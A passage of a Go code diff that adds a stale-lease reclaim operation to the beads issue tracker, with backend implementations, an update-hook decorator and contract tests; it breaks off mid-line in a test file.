index b7db819c2..60476683a 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -102,6 +102,11 @@ var opCapability = map[string]string{ // the block above states: the server publishes it ahead of the accessor // that dials it, and the set-equality gate needs its token here first. OpBatchGetIssues: "issues.batchGet", + // The stale-lease sweep, dialed by httpLeaseReclaimer. A server that + // predates it does not advertise the token, so Preflight refuses locally + // with a typed capability error instead of dialing a path the older server + // would answer as a claim of an issue called ":reclaim". + OpReclaimIssues: "issues.reclaim", } // CapProjectEnforce is the behavior capability the server advertises to announce diff --git a/internal/httpclient/wire/paths.go b/internal/httpclient/wire/paths.go index 6357c526d..94a90b83a 100644 --- a/internal/httpclient/wire/paths.go +++ b/internal/httpclient/wire/paths.go @@ -57,6 +57,7 @@ const ( OpGetMemory = "getMemory" OpForgetMemory = "forgetMemory" OpBatchGetIssues = "batchGetIssues" + OpReclaimIssues = "reclaimIssues" ) // The paths that carry no caller-supplied segment. A path with one is built by @@ -75,6 +76,7 @@ const ( PathIssuesBatchCreate = "/v0/beads/issues:batchCreate" PathIssuesBatchClose = "/v0/beads/issues:batchClose" PathIssuesBatchGet = "/v0/beads/issues:batchGet" + PathIssuesReclaim = "/v0/beads/issues:reclaim" PathIssuesClaimNext = "/v0/beads/issues:claimNext" PathIssuesBatchApply = "/v0/beads/issues:batchApply" PathSettings = "/v0/beads/config" diff --git a/internal/httpclient/wire/revision_tolerance_test.go b/internal/httpclient/wire/revision_tolerance_test.go index 9b410298f..1c9f33f16 100644 --- a/internal/httpclient/wire/revision_tolerance_test.go +++ b/internal/httpclient/wire/revision_tolerance_test.go @@ -283,6 +283,10 @@ var revisionSchemaExempt = map[string]string{ "#6053 and types.BatchGetIssue declares Revision a string, so every server that routes it " + "answers the decimal-string shape; a pre-#6053 server never advertises issues.batchGet, so " + "Preflight refuses the operation with a *CapabilityError before any body is decoded", + "ReclaimedLease": "ReclaimIssuesResult.reclaimed's element. issues:reclaim postdates #6053 and " + + "types.ReclaimedLease declares Revision a string, so every server that routes it answers the " + + "decimal-string shape; a pre-#6053 server never advertises issues.reclaim, so Preflight refuses " + + "the operation with a *CapabilityError before any body is decoded", } // TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember is diff --git a/internal/httpclient/wire/skew_test.go b/internal/httpclient/wire/skew_test.go index 04b023171..fe2fc7ace 100644 --- a/internal/httpclient/wire/skew_test.go +++ b/internal/httpclient/wire/skew_test.go @@ -110,16 +110,17 @@ func TestAgainstAFirstSliceServerEveryPostBaselineOperationRefusesWithCaseTwoDat t.Fatalf("post-baseline ops on a first-slice token = %v, want exactly [claimIssue]", compat) } // The dimension is pinned so the matrix cannot shrink silently: the first - // slice served six operations and the tip surface has forty-two, so - // thirty-six of them are things a first-slice server has never heard of. The + // slice served six operations and the tip surface has forty-three, so + // thirty-seven of them are things a first-slice server has never heard of. The // wire wave moved this from twenty-seven to thirty — claimNext, release and // count — wave 2 to thirty-two, adding the dependency-edge count and the // related read, the mini-sync to thirty-five: the comment write and the two - // config writes, and the batch read (upstream #7248) to thirty-six. Each is + // config writes, the batch read (upstream #7248) to thirty-six, and the + // stale-lease sweep to thirty-seven. Each is // an operation a first-slice server never served and this client does not // yet dial, which is exactly the shape the refusal matrix is about. - if len(refused) != 36 { - t.Fatalf("the post-baseline set has %d operations a first-slice server never served, want 36", len(refused)) + if len(refused) != 37 { + t.Fatalf("the post-baseline set has %d operations a first-slice server never served, want 37", len(refused)) } // The compat op forces the handshake yet preflights clean: issues.claim is on diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index 23d98908d..c650ac7f5 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -68,6 +68,7 @@ func TestOperationIdsMatchTheServerRouteTable(t *testing.T) { {OpListEvents, httpapi.OpListEvents}, {OpWatchEvents, httpapi.OpWatchEvents}, {OpBatchGetIssues, httpapi.OpBatchGetIssues}, + {OpReclaimIssues, httpapi.OpReclaimIssues}, } // The table is a HAND LIST, and a hand list's failure mode is omission: a new diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index 86a1ef4f6..e4a8b5a27 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -38,6 +38,7 @@ go_library( "hook_issue_claimer.go", "hook_issue_operations.go", "hook_issue_reader.go", + "hook_lease_reclaimer.go", "hook_memories.go", "hook_metadata_cas.go", "hook_querier.go", @@ -90,6 +91,7 @@ go_test( "hook_issue_claimer_test.go", "hook_issue_operations_test.go", "hook_issue_reader_test.go", + "hook_lease_reclaimer_test.go", "hook_metadata_cas_test.go", "hook_ready_claimer_test.go", "hook_relations_test.go", diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 989f2d8e4..1f79aa088 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -47,6 +47,7 @@ go_library( "iter_stubs.go", "journal_accessor.go", "labels.go", + "lease_reclaimer.go", "memories.go", "merge_slot.go", "metadata_cas.go", @@ -268,6 +269,7 @@ go_test( "large_batch_apply_measure_test.go", "large_graph_create_bench_test.go", "lease_migration_test.go", + "lease_reclaimer_contract_test.go", "lease_test.go", "lenient_open_dirty_tables_integration_test.go", "lifecycle_close_reopen_contract_test.go", diff --git a/internal/storage/dolt/lease_reclaimer.go b/internal/storage/dolt/lease_reclaimer.go new file mode 100644 index 000000000..492a47f48 --- /dev/null +++ b/internal/storage/dolt/lease_reclaimer.go @@ -0,0 +1,50 @@ +package dolt + +import ( + "context" + "database/sql" + + "github.com/steveyegge/beads/internal/storage" + storeops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/issueops" +) + +// LeaseReclaimer returns the lease-sweep surface for this store. +func (s *DoltStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + if s == nil { + return nil, &storage.ErrUnsupported{Op: "LeaseReclaimer", Backend: "nil"} + } + return &leaseReclaimer{store: s}, nil +} + +// leaseReclaimer answers a Reclaim from one retrying write transaction around +// the shared body, storeops.ExecuteReclaimInTx. +// +// THE VERSION-CONTROL ENTRY GOES THROUGH runIssueOperationTxWithMessage, the +// funnel Releaser uses, rather than the raw ReclaimExpiredLeases' in-transaction +// DOLT_COMMIT: the funnel is what honors a deferred version commit on the +// context (dolt.auto-commit batch/off), which a role a front door calls has to, +// and a sweep that reverted nothing composes no staged set and so records no +// entry describing a no-op. +type leaseReclaimer struct{ store *DoltStore } + +var _ issueops.LeaseReclaimer = (*leaseReclaimer)(nil) + +func (l *leaseReclaimer) Reclaim(ctx context.Context, request issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + if err := storeops.ValidateReclaimRequest(request); err != nil { + return issueops.ReclaimResult{}, err + } + var result issueops.ReclaimResult + if err := l.store.runIssueOperationTxWithMessage(ctx, func(tx *sql.Tx) (storeops.ChangedTables, string, error) { + var err error + result, err = storeops.ExecuteReclaimInTx(ctx, tx, request) + if err != nil { + return nil, "", err + } + tables, msg := storeops.ReclaimVersionCommit(result) + return tables, msg, nil + }); err != nil { + return issueops.ReclaimResult{}, err + } + return result, nil +} diff --git a/internal/storage/dolt/lease_reclaimer_contract_test.go b/internal/storage/dolt/lease_reclaimer_contract_test.go new file mode 100644 index 000000000..cfc19f3e9 --- /dev/null +++ b/internal/storage/dolt/lease_reclaimer_contract_test.go @@ -0,0 +1,114 @@ +package dolt + +import ( + "context" + "fmt" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" +) + +// TestLeaseReclaimerContract runs the LeaseReclaimer contract against the +// server-backed store, which wraps internal/storage/issueops.ExecuteReclaimInTx +// in its own retrying write transaction. Like every role suite here the cases +// share one store, so each namespaces its seeds and scopes every sweep. +func TestLeaseReclaimerContract(t *testing.T) { + fixture, ctx, cleanup := newDoltLeaseReclaimerFixture(t, "lrc") + defer cleanup() + + t.Run("RevertsAStaleLease", func(t *testing.T) { + conformance.RunLeaseReclaimerRevertsAStaleLease(t, ctx, fixture) + }) + t.Run("MintsARevisionThatFencesTheFormerHolder", func(t *testing.T) { + conformance.RunLeaseReclaimerMintsARevisionThatFencesTheFormerHolder(t, ctx, fixture) + }) + t.Run("LeavesALiveLeaseAlone", func(t *testing.T) { + conformance.RunLeaseReclaimerLeavesALiveLeaseAlone(t, ctx, fixture) + }) + t.Run("HonorsTheGraceWindow", func(t *testing.T) { + conformance.RunLeaseReclaimerHonorsTheGraceWindow(t, ctx, fixture) + }) + t.Run("ScopesToTheNamedIDs", func(t *testing.T) { + conformance.RunLeaseReclaimerScopesToTheNamedIDs(t, ctx, fixture) + }) + t.Run("AnswersAnAbsentIDWithAnEmptyResult", func(t *testing.T) { + conformance.RunLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult(t, ctx, fixture) + }) + t.Run("ScopesToAssigneesAndLabels", func(t *testing.T) { + conformance.RunLeaseReclaimerScopesToAssigneesAndLabels(t, ctx, fixture) + }) + t.Run("AttributesTheRecoveryEvent", func(t *testing.T) { + conformance.RunLeaseReclaimerAttributesTheRecoveryEvent(t, ctx, fixture) + }) + t.Run("FiresOnUpdateOncePerReclaimedRow", func(t *testing.T) { + conformance.RunLeaseReclaimerFiresOnUpdateOncePerReclaimedRow(t, ctx, fixture) + }) + t.Run("RefusesAMalformedRequest", func(t *testing.T) { + conformance.RunLeaseReclaimerRefusesAMalformedRequest(t, ctx, fixture) + }) + t.Run("RefusesABlankScopeEntry", func(t *testing.T) { + conformance.RunLeaseReclaimerRefusesABlankScopeEntry(t, ctx, fixture) + }) + t.Run("AcceptsExactlyTheCap", func(t *testing.T) { + conformance.RunLeaseReclaimerAcceptsExactlyTheCap(t, ctx, fixture) + }) + t.Run("DoesNotMutateTheCallerRequest", func(t *testing.T) { + conformance.RunLeaseReclaimerDoesNotMutateTheCallerRequest(t, ctx, fixture) + }) +} + +// newDoltLeaseReclaimerFixture composes the frozen role kit with this +// backend's accessors, plus the same reclaimer taken off a HookFiringStore so +// the hook case observes the decorator a command actually holds. +func newDoltLeaseReclaimerFixture(t *testing.T, prefix string) (conformance.LeaseReclaimerFixture, context.Context, func()) { + t.Helper() + store, storeCleanup := setupTestStore(t) + ctx, cancel := testContext(t) + stop := func() { + cancel() + storeCleanup() + } + fail := func(what string, err error) { + stop() + t.Fatalf("%s: %v", what, err) + } + reclaimer, err := store.LeaseReclaimer() + if err != nil { + fail("LeaseReclaimer()", err) + } + claimer, err := store.IssueClaimer() + if err != nil { + fail("IssueClaimer()", err) + } + lifecycle, err := store.IssueLifecycle() + if err != nil { + fail("IssueLifecycle()", err) + } + runner, fired := conformance.NewUpdateHookLog(t) + hooked := reclaimer + if runner != nil { + if hooked, err = storage.NewHookFiringStore(store, runner).LeaseReclaimer(); err != nil { + fail("hooked LeaseReclaimer()", err) + } + } + kit := newDoltRoleFixtureKit(store, prefix) + return conformance.LeaseReclaimerFixture{ + IssuePrefix: kit.IssuePrefix, + LeaseReclaimer: reclaimer, + CreateIssue: kit.CreateIssue, + Claimer: claimer, + Lifecycle: lifecycle, + QueryScalar: kit.QueryScalar, + Exec: func(ctx context.Context, statements []conformance.SQLStatement) error { + for _, stmt := range statements { + if _, err := store.db.ExecContext(ctx, stmt.Query, stmt.Args...); err != nil { + return fmt.Errorf("%s: %w", stmt.Query, err) + } + } + return nil + }, + HookedLeaseReclaimer: hooked, + FiredUpdates: fired, + }, ctx, stop +} diff --git a/internal/storage/domain/db/issue.go b/internal/storage/domain/db/issue.go index a9d2e3c7a..4a1282e25 100644 --- a/internal/storage/domain/db/issue.go +++ b/internal/storage/domain/db/issue.go @@ -1309,4 +1309,11 @@ func (r *issueSQLRepositoryImpl) ReclaimExpiredLeases(ctx context.Context, older return out, nil } +// Reclaim runs the shared sweep body directly on r.runner, matching GetMany's +// bare-passthrough shape: validation and error-wrapping both happen inside +// issueops.ExecuteReclaimInTx. +func (r *issueSQLRepositoryImpl) Reclaim(ctx context.Context, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) { + return issueops.ExecuteReclaimInTx(ctx, r.runner, request) +} + const deleteBatchSize = 200 diff --git a/internal/storage/domain/issue.go b/internal/storage/domain/issue.go index a6ce46a83..7f5ec7208 100644 --- a/internal/storage/domain/issue.go +++ b/internal/storage/domain/issue.go @@ -117,6 +117,11 @@ type IssueSQLRepository interface { UnclaimIssueIfAssignee(ctx context.Context, id, actor, expectedAssignee string) error HeartbeatIssue(ctx context.Context, id, actor string) error ReclaimExpiredLeases(ctx context.Context, olderThan time.Duration, filter types.ReclaimFilter, actor string) ([]types.ReclaimedLease, error) + // Reclaim runs the SHARED sweep body (issueops.ExecuteReclaimInTx) on this + // repository's transaction, which is how the unit-of-work provider reaches + // the same function the two store backends wrap. It is the publicops-typed + // counterpart to ReclaimExpiredLeases above, the way GetMany is to GetByIDs. + Reclaim(ctx context.Context, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) WakeExpiredDefers(ctx context.Context) (issues, wisps int, err error) } @@ -344,6 +349,10 @@ type IssueUseCase interface { UnclaimIfAssignee(ctx context.Context, id, actor, expectedAssignee string) error Heartbeat(ctx context.Context, id, actor string) error ReclaimExpiredLeases(ctx context.Context, olderThan time.Duration, filter types.ReclaimFilter, actor string) ([]types.ReclaimedLease, error) + // Reclaim is the shape issueops.LeaseReclaimer publishes; see + // IssueRepository.Reclaim for why it is a separate method from + // ReclaimExpiredLeases rather than a replacement for it. + Reclaim(ctx context.Context, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) WakeExpiredDefers(ctx context.Context) (issues, wisps int, err error) CreateIssue(ctx context.Context, params CreateIssueParams, actor string) (CreateIssueResult, error) @@ -1978,3 +1987,11 @@ func (u *issueUseCaseImpl) ReclaimExpiredLeases(ctx context.Context, olderThan t } return out, nil } + +// Reclaim passes straight through to the repository with no pre-check and no +// error-wrapping, matching GetMany's reasoning: the request is fully +// validated inside the shared body (issueops.ExecuteReclaimInTx), and there is +// no use-case-level concern layered on top of it. +func (u *issueUseCaseImpl) Reclaim(ctx context.Context, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) { + return u.issueRepo.Reclaim(ctx, request) +} diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 64e516d60..8241d7414 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -37,6 +37,7 @@ go_library( "iter_stubs.go", "journal_accessor.go", "labels.go", + "lease_reclaimer.go", "list_queries.go", "memories.go", "merge_slot.go", @@ -169,6 +170,7 @@ go_test( "label_rename_test.go", "large_batch_apply_measure_test.go", "large_graph_create_bench_test.go", + "lease_reclaimer_contract_test.go", "lease_replica_test.go", "lease_test.go", "lenient_gate_warning_test.go", diff --git a/internal/storage/embeddeddolt/lease_reclaimer.go b/internal/storage/embeddeddolt/lease_reclaimer.go new file mode 100644 index 000000000..cfbfb1c28 --- /dev/null +++ b/internal/storage/embeddeddolt/lease_reclaimer.go @@ -0,0 +1,54 @@ +//go:build cgo + +package embeddeddolt + +import ( + "context" + "database/sql" + + "github.com/steveyegge/beads/internal/storage" + storeops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/issueops" +) + +// LeaseReclaimer returns the lease-sweep surface for this store. +func (s *EmbeddedDoltStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + if s == nil { + return nil, &storage.ErrUnsupported{Op: "LeaseReclaimer", Backend: "nil"} + } + return &leaseReclaimer{store: s}, nil +} + +// leaseReclaimer answers a Reclaim from one connection's transaction around the +// shared body, storeops.ExecuteReclaimInTx, the embedded twin of the +// server-backed store's leaseReclaimer. +// +// THE VERSION-CONTROL ENTRY LANDS AFTER THE SQL COMMIT, through +// runIssueOperationTxWithMessage, Releaser's funnel: unlike the raw +// ReclaimExpiredLeases, which leaves its rows in the working set for the CLI's +// commitPendingIfEmbedded, a role is called by front doors (bd serve, a +// library caller) that have no such second step, so the role records its own +// entry, and the funnel is what lets a deferred version commit on the context +// suppress it. +type leaseReclaimer struct{ store *EmbeddedDoltStore } + +var _ issueops.LeaseReclaimer = (*leaseReclaimer)(nil) + +func (l *leaseReclaimer) Reclaim(ctx context.Context, request issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + if err := storeops.ValidateReclaimRequest(request); err != nil { + return issueops.ReclaimResult{}, err + } + var result issueops.ReclaimResult + if err := l.store.runIssueOperationTxWithMessage(ctx, func(tx *sql.Tx) (storeops.ChangedTables, string, error) { + var err error + result, err = storeops.ExecuteReclaimInTx(ctx, tx, request) + if err != nil { + return nil, "", err + } + tables, msg := storeops.ReclaimVersionCommit(result) + return tables, msg, nil + }); err != nil { + return issueops.ReclaimResult{}, err + } + return result, nil +} diff --git a/internal/storage/embeddeddolt/lease_reclaimer_contract_test.go b/internal/storage/embeddeddolt/lease_reclaimer_contract_test.go new file mode 100644 index 000000000..d834b3f92 --- /dev/null +++ b/internal/storage/embeddeddolt/lease_reclaimer_contract_test.go @@ -0,0 +1,111 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "context" + "fmt" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" +) + +// TestLeaseReclaimerContract runs the LeaseReclaimer contract against the +// embedded store, which wraps internal/storage/issueops.ExecuteReclaimInTx in +// one connection's transaction and records its version entry after the SQL +// commit. +func TestLeaseReclaimerContract(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "lrc") + ctx := t.Context() + fixture := newEmbeddedLeaseReclaimerFixture(t, te, "lrc") + + t.Run("RevertsAStaleLease", func(t *testing.T) { + conformance.RunLeaseReclaimerRevertsAStaleLease(t, ctx, fixture) + }) + t.Run("MintsARevisionThatFencesTheFormerHolder", func(t *testing.T) { + conformance.RunLeaseReclaimerMintsARevisionThatFencesTheFormerHolder(t, ctx, fixture) + }) + t.Run("LeavesALiveLeaseAlone", func(t *testing.T) { + conformance.RunLeaseReclaimerLeavesALiveLeaseAlone(t, ctx, fixture) + }) + t.Run("HonorsTheGraceWindow", func(t *testing.T) { + conformance.RunLeaseReclaimerHonorsTheGraceWindow(t, ctx, fixture) + }) + t.Run("ScopesToTheNamedIDs", func(t *testing.T) { + conformance.RunLeaseReclaimerScopesToTheNamedIDs(t, ctx, fixture) + }) + t.Run("AnswersAnAbsentIDWithAnEmptyResult", func(t *testing.T) { + conformance.RunLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult(t, ctx, fixture) + }) + t.Run("ScopesToAssigneesAndLabels", func(t *testing.T) { + conformance.RunLeaseReclaimerScopesToAssigneesAndLabels(t, ctx, fixture) + }) + t.Run("AttributesTheRecoveryEvent", func(t *testing.T) { + conformance.RunLeaseReclaimerAttributesTheRecoveryEvent(t, ctx, fixture) + }) + t.Run("FiresOnUpdateOncePerReclaimedRow", func(t *testing.T) { + conformance.RunLeaseReclaimerFiresOnUpdateOncePerReclaimedRow(t, ctx, fixture) + }) + t.Run("RefusesAMalformedRequest", func(t *testing.T) { + conformance.RunLeaseReclaimerRefusesAMalformedRequest(t, ctx, fixture) + }) + t.Run("RefusesABlankScopeEntry", func(t *testing.T) { + conformance.RunLeaseReclaimerRefusesABlankScopeEntry(t, ctx, fixture) + }) + t.Run("AcceptsExactlyTheCap", func(t *testing.T) { + conformance.RunLeaseReclaimerAcceptsExactlyTheCap(t, ctx, fixture) + }) + t.Run("DoesNotMutateTheCallerRequest", func(t *testing.T) { + conformance.RunLeaseReclaimerDoesNotMutateTheCallerRequest(t, ctx, fixture) + }) +} + +func newEmbeddedLeaseReclaimerFixture(t *testing.T, te *testEnv, prefix string) conformance.LeaseReclaimerFixture { + t.Helper() + reclaimer, err := te.store.LeaseReclaimer() + if err != nil { + t.Fatalf("LeaseReclaimer(): %v", err) + } + claimer, err := te.store.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + lifecycle, err := te.store.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + runner, fired := conformance.NewUpdateHookLog(t) + hooked := reclaimer + if runner != nil { + if hooked, err = storage.NewHookFiringStore(te.store, runner).LeaseReclaimer(); err != nil { + t.Fatalf("hooked LeaseReclaimer(): %v", err) + } + } + kit := newEmbeddedRoleFixtureKit(te, prefix) + return conformance.LeaseReclaimerFixture{ + IssuePrefix: kit.IssuePrefix, + LeaseReclaimer: reclaimer, + CreateIssue: kit.CreateIssue, + Claimer: claimer, + Lifecycle: lifecycle, + QueryScalar: kit.QueryScalar, + Exec: func(ctx context.Context, statements []conformance.SQLStatement) error { + db, cleanup, err := embeddeddolt.OpenSQL(ctx, te.dataDir, te.database, "main") + if err != nil { + return err + } + defer func() { _ = cleanup() }() + for _, stmt := range statements { + if _, err := db.ExecContext(ctx, stmt.Query, stmt.Args...); err != nil { + return fmt.Errorf("%s: %w", stmt.Query, err) + } + } + return nil + }, + HookedLeaseReclaimer: hooked, + FiredUpdates: fired, + } +} diff --git a/internal/storage/externaldeps/uow_decorator.go b/internal/storage/externaldeps/uow_decorator.go index 0b9e9293b..f7826b43e 100644 --- a/internal/storage/externaldeps/uow_decorator.go +++ b/internal/storage/externaldeps/uow_decorator.go @@ -119,7 +119,10 @@ func (p *uowProvider) VersionReconciler() (publicops.VersionReconciler, error) { } func (p *uowProvider) MetadataCAS() (publicops.MetadataCAS, error) { return uow.NewMetadataCAS(p) } func (p *uowProvider) Releaser() (publicops.Releaser, error) { return uow.NewReleaser(p) } -func (p *uowProvider) Memories() (memoryops.Memories, error) { return uow.NewMemories(p) } +func (p *uowProvider) LeaseReclaimer() (publicops.LeaseReclaimer, error) { + return uow.NewLeaseReclaimer(p) +} +func (p *uowProvider) Memories() (memoryops.Memories, error) { return uow.NewMemories(p) } func (p *uowProvider) EventsJournalCursor() (storage.EventsJournalCursor, error) { return uow.NewEventsJournalCursor(p) } @@ -195,6 +198,7 @@ var ( _ uow.VersionReconcilerSource = (*uowProvider)(nil) _ uow.MetadataCASSource = (*uowProvider)(nil) _ uow.ReleaserSource = (*uowProvider)(nil) + _ uow.LeaseReclaimerSource = (*uowProvider)(nil) _ uow.MemoriesSource = (*uowProvider)(nil) _ uow.EventsJournalCursorSource = (*uowProvider)(nil) ) diff --git a/internal/storage/hook_batch_applier_test.go b/internal/storage/hook_batch_applier_test.go index 92844911c..a211e0908 100644 --- a/internal/storage/hook_batch_applier_test.go +++ b/internal/storage/hook_batch_applier_test.go @@ -39,6 +39,9 @@ func (r *recordingBatchApplyHooks) CompleteIssueOperationMetadata(_ context.Cont func (r *recordingBatchApplyHooks) CompleteIssueOperationRelease(_ context.Context, issueID string) { r.completions = append(r.completions, "release:"+issueID) } +func (r *recordingBatchApplyHooks) CompleteIssueOperationReclaim(_ context.Context, issueID string) { + r.completions = append(r.completions, "reclaim:"+issueID) +} func issueIDOrNil(issue *types.Issue) string { if issue == nil { @@ -230,3 +233,4 @@ func (r *recordingBatchApplyIssues) CompleteIssueOperationDependency(context.Con func (r *recordingBatchApplyIssues) CompleteIssueOperationComment(context.Context, string) {} func (r *recordingBatchApplyIssues) CompleteIssueOperationMetadata(context.Context, string) {} func (r *recordingBatchApplyIssues) CompleteIssueOperationRelease(context.Context, string) {} +func (r *recordingBatchApplyIssues) CompleteIssueOperationReclaim(context.Context, string) {} diff --git a/internal/storage/hook_decorator.go b/internal/storage/hook_decorator.go index c0342252e..c6be30885 100644 --- a/internal/storage/hook_decorator.go +++ b/internal/storage/hook_decorator.go @@ -153,6 +153,13 @@ func RoleFiresHooks(role any) bool { // hazard, on the operation that reaches it with nothing else in the way. case *hookBatchCreator: return true + // The lease reclaimer fires the update hook once per row it reverts + // (hook_lease_reclaimer.go), so a scheduled reaper sweep is N + // subprocesses per run — the same value Releaser and ReadyClaimer are + // refused for, and the one whose caller is a clock rather than a human + // or a request. + case *hookLeaseReclaimer: + return true } return false } @@ -466,6 +473,15 @@ func (h *HookFiringStore) CompleteIssueOperationRelease(ctx context.Context, iss h.fireHookByID(ctx, hooks.EventUpdate, issueID) } +// CompleteIssueOperationReclaim fires the update hook for one row a lease +// sweep reverted, which is the event the generic update path fires for the +// same write — assignee and status are exactly the fields a reclaim moves, +// the same pair a release moves. It re-reads the row rather than taking the +// caller's, so a script sees the unheld issue the sweep produced. +func (h *HookFiringStore) CompleteIssueOperationReclaim(ctx context.Context, issueID string) { + h.fireHookByID(ctx, hooks.EventUpdate, issueID) +} + func (h *HookFiringStore) fireHookByID(ctx context.Context, event, id string) { if h.runner == nil { return diff --git a/internal/storage/hook_issue_operations.go b/internal/storage/hook_issue_operations.go index ba41e5d81..7926a5694 100644 --- a/internal/storage/hook_issue_operations.go +++ b/internal/storage/hook_issue_operations.go @@ -35,6 +35,7 @@ type issueOperationHooks interface { CompleteIssueOperationComment(ctx context.Context, issueID string) CompleteIssueOperationMetadata(ctx context.Context, issueID string) CompleteIssueOperationRelease(ctx context.Context, issueID string) + CompleteIssueOperationReclaim(ctx context.Context, issueID string) } var _ issueOperationHooks = (*HookFiringStore)(nil) diff --git a/internal/storage/hook_issue_operations_test.go b/internal/storage/hook_issue_operations_test.go index 0c86b95ea..13a788060 100644 --- a/internal/storage/hook_issue_operations_test.go +++ b/internal/storage/hook_issue_operations_test.go @@ -63,6 +63,9 @@ func (r *recordingIssueOperationHooks) CompleteIssueOperationMetadata(_ context. func (r *recordingIssueOperationHooks) CompleteIssueOperationRelease(_ context.Context, issueID string) { r.completions = append(r.completions, "release:"+issueID) } +func (r *recordingIssueOperationHooks) CompleteIssueOperationReclaim(_ context.Context, issueID string) { + r.completions = append(r.completions, "reclaim:"+issueID) +} // lifecycleStore is a DoltStorage whose only real method is IssueLifecycle. type lifecycleStore struct { diff --git a/internal/storage/hook_lease_reclaimer.go b/internal/storage/hook_lease_reclaimer.go new file mode 100644 index 000000000..e94877f93 --- /dev/null +++ b/internal/storage/hook_lease_reclaimer.go @@ -0,0 +1,42 @@ +package storage + +import ( + "context" + + "github.com/steveyegge/beads/issueops" +) + +// LeaseReclaimer returns the inner store's lease-sweep surface with this +// decorator's completion hooks layered over it. +// +// It WRAPS rather than recursing unwrapped, for the reason Releaser does: a +// reclaim changes an issue's assignee and status per reverted row, which is +// an on_update in the vocabulary internal/hooks publishes, and the row it +// names is still there to hand a script. +// +// It recurses instead of delegating, so a blind delegation would hand back +// the inner store's surface and silently stop firing it. +func (h *HookFiringStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + inner, err := h.inner.LeaseReclaimer() + if err != nil { + return nil, err + } + return &hookLeaseReclaimer{inner: inner, hooks: h}, nil +} + +type hookLeaseReclaimer struct { + inner issueops.LeaseReclaimer + hooks issueOperationHooks +} + +// Reclaim fires the update hook once for every row the sweep reverted. +func (r *hookLeaseReclaimer) Reclaim(ctx context.Context, request issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + result, err := r.inner.Reclaim(ctx, request) + if err != nil { + return result, err + } + for _, reclaimed := range result.Reclaimed { + r.hooks.CompleteIssueOperationReclaim(ctx, reclaimed.ID) + } + return result, nil +} diff --git a/internal/storage/hook_lease_reclaimer_test.go b/internal/storage/hook_lease_reclaimer_test.go new file mode 100644 index 000000000..a3d8506df --- /dev/null +++ b/internal/storage/hook_lease_reclaimer_test.go @@ -0,0 +1,83 @@ +package storage + +import ( + "context" + "errors" + "reflect" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +type fakeLeaseReclaimer struct { + result issueops.ReclaimResult + err error +} + +func (f *fakeLeaseReclaimer) Reclaim(context.Context, issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + return f.result, f.err +} + +// TestHookLeaseReclaimerFiresOncePerReclaimedRow is the decorator's whole +// subject: one on_update completion for every row the sweep reverted, in the +// sweep's order, and none at all for a refusal — even a refusal that somehow +// carries rows, because the role leaves its result unspecified on error. +func TestHookLeaseReclaimerFiresOncePerReclaimedRow(t *testing.T) { + for _, test := range []struct { + name string + inner *fakeLeaseReclaimer + wantFire []string + }{ + { + name: "every reverted row fires once", + inner: &fakeLeaseReclaimer{result: issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{ + {ID: "bd-1"}, {ID: "bd-2"}, + }}}, + wantFire: []string{"reclaim:bd-1", "reclaim:bd-2"}, + }, + { + name: "a sweep that reverted nothing fires nothing", + inner: &fakeLeaseReclaimer{result: issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{}}}, + }, + { + name: "a refusal fires nothing", + inner: &fakeLeaseReclaimer{err: errors.New("boom")}, + }, + { + name: "a refusal that carries rows still fires nothing", + inner: &fakeLeaseReclaimer{ + result: issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{{ID: "bd-1"}}}, + err: errors.New("boom"), + }, + }, + } { + t.Run(test.name, func(t *testing.T) { + recorder := &recordingIssueOperationHooks{} + reclaimer := &hookLeaseReclaimer{inner: test.inner, hooks: recorder} + + _, err := reclaimer.Reclaim(context.Background(), issueops.ReclaimRequest{Actor: "reaper"}) + if (err != nil) != (test.inner.err != nil) { + t.Fatalf("Reclaim error = %v, want %v", err, test.inner.err) + } + if !reflect.DeepEqual(recorder.completions, test.wantFire) { + t.Fatalf("hooks fired = %v, want %v", recorder.completions, test.wantFire) + } + }) + } +} + +// TestHookLeaseReclaimerPassesTheResultThrough pins that the decorator reports +// exactly what the role reported, revisions included: a hook layer that +// rewrote the result would be deciding which token a caller feeds forward. +func TestHookLeaseReclaimerPassesTheResultThrough(t *testing.T) { + want := issueops.ReclaimResult{Reclaimed: 